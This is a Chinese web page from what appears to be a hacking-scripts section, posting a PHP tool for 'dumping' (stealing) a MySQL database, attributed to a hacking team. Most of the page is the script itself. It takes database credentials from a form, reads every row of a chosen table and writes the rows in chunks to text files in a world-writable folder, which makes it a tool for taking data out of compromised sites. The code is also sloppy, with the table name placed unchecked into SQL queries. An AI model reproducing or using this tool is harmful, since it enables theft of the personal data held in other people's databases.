首页 > 网络安全 > 脚本攻防

MYSQL_OUTPUT 脱裤(脱库)通用脚本(修正版)

admin 脚本攻防 2022-02-17 09:22:28 MYSQL   脱库"

复制代码代码如下:


:: hExI3_Securi7y_TeAm...SCRIPT_FILENAME : <?=$_SERVER["PHP_SELF"]?>



Mysql Database on Tables to Txt...


#_E-mail:go_root#Hotmail.com

#_Author:HYrz

--------------------------------------------------------


Host:

User:

Password:

Database Check:
Tables is:

New_Data Filename:


潘少俊衡





<?php
ini_set('display_errors', 1);
set_time_limit(0);
//error_reporting(E_ALL);
function ShowMessage($Str)
{
$FILENAME = $_SERVER["PHP_SELF"];
Die('');
Die('');
}
function _Printf($Str, $type = '')
{
if (empty($type))
echo '[+] '.$Str.'
';
else
echo '[#] '.$Str.'
';
}
function dirsize($dir) {
@$dh = opendir($dir);
$size = 0;
while ($file = @readdir($dh)) {
if ($file != "." and $file != "..") {
$path = $dir."/".$file;
if (is_dir($path)) {
$size += dirsize($path);
} elseif (is_file($path)) {
$size += filesize($path);
}
}
}
@closedir($dh);
return $size;
}
if (empty($_POST['submit'])) exit();
$db_host = $_POST["host"];
$db_user = $_POST["user"];
$db_pass = $_POST["pass"];
$db_database = $_POST["database"];
$db_table = $_POST["table"];
$backDB_Filename = $_POST["back_file"];
//endPost
if (empty($db_host)){
$_POST["host"] = $db_host;
ShowMessage("Messagebox: Host Error!");
}elseif (empty($db_user)) {
$_POST["user"] = $db_user;
ShowMessage("Messagebox: User Error!");
}elseif (empty($db_pass)){
$_POST["pass"] = $db_pass;
ShowMessage("Messagebox: Pass Error!");
}elseif (empty($db_database)) {
$_POST["database"] = $db_database;
ShowMessage("Messagebox: Database Error!");
}elseif (empty($db_table)) {
$_POST["table"] = $db_table;
ShowMessage("Messagebox: table Error!");
}elseif (empty($backDB_Filename)) {
$_POST["back_file"] = $backDB_Filename;
ShowMessage("Messagebox: backDB_Filename Error!");
} #endif
if (!is_dir('data_xiaosan')) {
mkdir('data_xiaosan',0777);
}#endif
$sql = mysql_connect($db_host,$db_user,$db_pass) or ShowMessage('[#] connect Error ! ');
mysql_select_db($db_database,$sql) or die("Could not connect: " . mysql_error());
$result = mysql_query("SELECT * FROM $db_table",$sql) or die("Could not connect: " . mysql_error());
$FieldCount = mysql_query("SELECT CoUnt(*) FrOm $db_table",$sql);
$F_Num = mysql_fetch_row($FieldCount);
_Printf('InforMatIon : --------------','Main');
_Printf("TableCounts :". + $F_Num[0]);
if ($F_Num[0] < 500){
$SuB1 = $F_Num[0] / 2;
} else $SuB1 = 500; //endif
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$i = $i+1;
$tmp .= implode("::", $row)."\n";
if(!($i%$SuB1)){
$filename_ = 'data_xiaosan/'.intval($i/$SuB1).$backDB_Filename;
file_put_contents($filename_,$tmp);
$tmp = '';
}#endif
}#endwhile
mysql_free_result($result);
mysql_close($sql);
if (dirsize('data_xiaosan')>1){
_Printf("Msg : OutPut_Succ!");}else
_Printf("Err : output fail !"); //endPri
?>

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。
本文地址:/websafe/jbgongfang/148851.html

留言与评论(共有 0 条评论)
   
验证码:

潘少俊衡

| 桂ICP备2023010378号-4

Powered By EmpireCMS

爱享小站

中德益农

谷姐神农

环亚肥料

使用手机软件扫描微信二维码

关注我们可获取更多热点资讯

感谢潘少俊衡友情技术支持